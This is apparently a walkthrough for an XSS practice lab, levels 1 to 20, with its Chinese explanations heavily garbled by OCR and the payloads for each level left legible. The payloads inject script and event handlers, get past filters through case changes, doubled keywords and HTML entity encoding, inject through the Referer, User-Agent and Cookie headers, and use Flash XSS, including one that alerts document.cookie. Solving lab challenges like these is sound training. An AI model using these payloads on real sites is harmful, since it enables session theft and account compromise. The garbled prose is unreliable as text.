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Level1

B Anameft 2, HhlkA2 1% ?name=<script>alert(1)</script>

&% ?name=<svg/onload=alert(1)>

Level2

AR, TR REAE I getr ik, Murliificsz — keyword 24, Aidix A BN id JE e
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payload : " onclick=alert(1)>IX#£ 7 % fi i — TN A HE<br>
" onmouseover=alert(1)>7 £ i b5 ki 4 AE<br><br>
Ty —Fh T R AE A 1 payload it ZEKinput i SCARREA 73 $2E 1 P&, AN FRA 15 HEAC RS,
BX B "><script>alert(1)</script>
XFERIIE © <input name="keyword" value=" "><script>alert(1)</script>"

EFfvalue=" ", AaAgEIATN A

Level3

SR AR R IR R E /N, AN IS T, Rl 2 value=""htmispecialchars($str)." & 3
R G <">Hy i <script>3 & VAR T, Noyvalue I<#ie ST, R BER A L e s it [A]
Krig e, N ETFEHRG S HE, MWikpayload : ' onmouseover=alert(1)//

XFERIIE:  <input name=keyword value=' ' onmouseover=alert(1)/ >
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payload : ' onmouseover="alert(/xss/)

XFERIE:  <input name=keyword value=' ' onmouseover="alert(1)">
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payload: 'type='submit' onclick="alert(/xss/)
XFERIE: <input name=keyword value="type="submit' onclick="alert(/xss/)">

EXFEA B E T —

Level4

XHEEAED], FAUEASELRENEL TR RBZS Y.
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Str_replace(">", " " ,$str), UERECK A Estrh ) RF>FARNT, iR X RN . [FEG <N 7S,
R JEAE 2 1d htmispecialchars()eR £, Ff — L4 FUE UAF= 5 i uhtml s .

IR LA R AL, BATHT = S Hpayload i & X AN REF . T LAEE R ORBAT R B 2
FERA RS <> BN T, I HiBEA A htmispecialchars() s #i i ) 1%  F #49 2 payload .
JITCABANHE I B AT DU IE — M\ B SCARKE e BV R . AT K payload:

" onfocus=alert(1) autofocus="

" onclick=alert(1) //

XEEFRA 15N i payload A 1 sk A0 3, 3 H.4 i3 htmispecailchars () g £k #e 3 R 520 i inputSCAHE . FT LA
BN G SCAKE N RS RR T

<input name=keyword value="" onfocus=alert(1) autofocus="" >

<input name=keyword value="" onclick=alert(1) //">

OnfocusSHt: & XHISFAFRAEN SRS EE R ik, 1X BLARInputhr 28 3R 15 £ kil

Autofocus & 14: inputbr 22 JEPE, MUl NEkinpuths %S, H3I3RTEFE A

R XBRIREDCARIIALE, WAt U SRR AR inputsCAHEIX L, # i fTonfocus AR A& A
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" type="submit' onclick="alert(/xss/) (A2l T — ]

" onkeydown="alert(/xss/)

Level5

IHTACES KRB, str2=strreplace("<script","<script",str2=strreplace("<script","
<script",str); str3=strreplace("on","on",str3=strreplace("on","on",str2); 5t B

<script ¥4 il <scr_ipt , onf i o_n, XFEIE TjsH
4, str=strtolower(str=strtolower(_GET["keyword"]);iX ##

KANGGAWR, AERREALIERIE <>, X B POk iEpayload:



"><iframe src=javascript:alert(1)>

"> <a href="javascript:alert(1)">bmjoker</a>

"> <a href="javascript:%61lert(1)">bmjoker</a> //

XFERIG:  <input name=keyword value=" "><iframe src=javascript:alert(1)>">

<input name=keyword value=" "><iframe src=javascript:alert(1)>">
s
"><img src="javascript:alert(/xss/) [03 IE]

"><a href="javascript:alert(/xss/)">xss</a>

Level6

AT, RIFEIREEE IR 2 45, <script #Fpk <scr_ipt . on ¥t o_n, src #ikpk sr_c,
data 4% da_ta, href #Hep hr_ef, il E—2¢, RIXBEEARNGLR, FAT0T LAy iEpayload:
"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker</a>//

"><svg x="" Onclick=alert(1)>

"><ScriPt>alert(1)<sCrlpt>"

" OncliCk=alert(1) //

"><table background="javascript:alert(/xss/)"> [03 IE]

"><Script>alert(/xss/)</Script>
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SRS, AUK/NEREER T, script, on, src, data, href #EELEHH RS,
IR E 5L, #igpayload:

"><sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

"><scriscriptpt>alert(/xss/)</scripscriptt>
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SRS, <script #E e <ser_ipt, on # ek o n, src ##pk sr_c, data #¥#:ak da_ta, href gk
hr_ef,

KANEWRH T, "BWgmis, HERIES<>, B35 %, #, &FFFREHILIE, it SrEabrss
W, hreffg i,

JEMER G| 5 R s HTMLS AR, Toyksibn e i, FAT1nT A B il i javascriptalert, BT scriptocdi 4%
jir]}‘:g b

javascript2x 4 i i pijavasc_rpt,  FATEHI 8T 2RAE r HT ML 75 S A i
#: https://www.qgxiuzi.cn/bianma/zifushiti.php

, PR UCE TE AT UE HURLER S 55 2547 9t . 1)1 payload:
javascrip&#x74;:alert(1)

Javascrip&#116:alert(1)

javasc&#x72;ipt:alert’1°

javasc&#x0072;ipt:alert'1°

javasc&#114;ipt:alert(/xss/)
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A, RIUER EAERECRFV N, AFKEZ T A CES M, R IR http:/) WA 2 BoR AN G
%,

#yiti payload:

javascrip&#x74;:alert(1)//http://xxx.com //F| FiiE#¢
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1) //A~F| FHiF R
javascrip&#x74:http://xx.com%0aalert(1) ///AF iR

javasc&#114;ipt:alert('http://')
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TS, KRMTFERNSE, — A Ekeyword, — MRt sort, RIES<>ERYE LIS, EH =/ hiddenft)fz
J A ANATE 5

ERVFIRATTAT LU R AAE T T, #itipayload:

?keyword = test&t_sort="type="submit" onclick = "alert(1)

?keyword = test&t_sort="type="text" onmouseover="alert(1)

ARG <input name="t_sort" value=""type="text" onclick = "alert(1)" type="hidden">
R RS — NS s o SR B A


https://www.qqxiuzi.cn/bianma/zifushiti.php

DR EE
?t_sort=" onmouseover=alert(/xss/) type="submit

?t_sort="onclick=alert(/xss/) type="submit" [h &kt
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SIHTARES, ORI E— kL, £ T —A stri1=str11=_SERVER[HTTP_REFERERY]; % £{{] 2 httpk
i

xssTEN, JHGRINE, burpB BN 7B, #i&httpk#iRefererf{payload:
Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burpflifl, tiRefererss, forward’ fi

o # {i il Tamper Data & Referer J&

" onmouseover=alert(/xss/) type="submit
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TS, X IRHR T str11=str11=_SERVER[HTTP_USER_AGENT"]; [ iZ:&User-AgentfthttpkifiEN,
burpyli s, #Jihttpk#fUser-Agentifpayload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

burpyli s, thUser-Agentsk, orward’ fy

35§ F Tamper Data & 4User-Agent J& 1

" onmouseover=alert(/xss/) type="submit
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SHTACES, XK T setcookie("user”, "call me maybe?", time()+3600); 1% & cookieZs Y fixssiE A
H it payload:

Cookie: user=" onmouseover=alert(1) type="text"

Cookie: user="onclick="alert(1) type="text"

burpflifl, hcookie, #RJG K

%



i Tamper Data 12 Cookiefs &

user=" onmouseover=alert(/xss/) type="submit"

Level14

F— N RH#Hpayload:

"><img src=1 onerror=alert(1)>

AEAHER, XRS5 exf viewer I i, Je i i 22 8 & 8 rexiffs 2.
1 BT r exiffih &K XSS, R T A HEF exiftool. LUGE WL _FA% FEWr S — A2 300

B exiffs B b, 1E#
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AT, X —IE Mangular jsPI A1, FERE FE— FAE ORI, KIing-include i (& SO EE,  aiAE
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KBRS 2 — KR UL, #igpayload:
src="level1.php?name=<img src=x onerror=alert(1)>'

F124THHF k& B A & 2 <img src="level15.png">

Level16

SRS, RBLK/NE S KR, script, [, [ ZRERWEL i &nbsp, FRATTAT L %0d, %0a%k:sdid
#Jit payload:

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert’ 1"></iframe>

<svg%0aonload=alert’1'></svg>

MRS -

http://localhost/xss/xss/level16.php?keyword=<img%O0Dsrc=1%0Donerror=alert(1)>

R <>HLPEEFT LA %3C %3EMR

%3Cimg%0dsrc=1%0donerror=alert(2)%3E
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NITFAE LA FEFlash XSS, 41— F& KBIAE, 18 H T htmispecialcharsiF AT s2iA %y, MHE=em—FE 7, fi
Fongiff,

#yit payload:


http://localhost/xss/xss/level16.php?keyword=%253Cimg%250Dsrc=1%250D%CE%BFnerr%CE%BFr=alert%25281%2529%253E

arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02=%20onmousedown=alert'1°
arg01=123&arg02= onmouseover=alert(1) type="text"

arg01=a&arg02=%20onmouseover=alert(2)

Level18

5 b —iE
arg01=onmouseover=alert(1)&arg02=123
tH] LL{E onmouseoverii ila%204~ 5 i 44

arg01=a%20onmouseover=alert(2)&arg02=b

Level19
A NFlash xss, f4itpayload

arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E

Level20
A il AFlash xss, #itpayload

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
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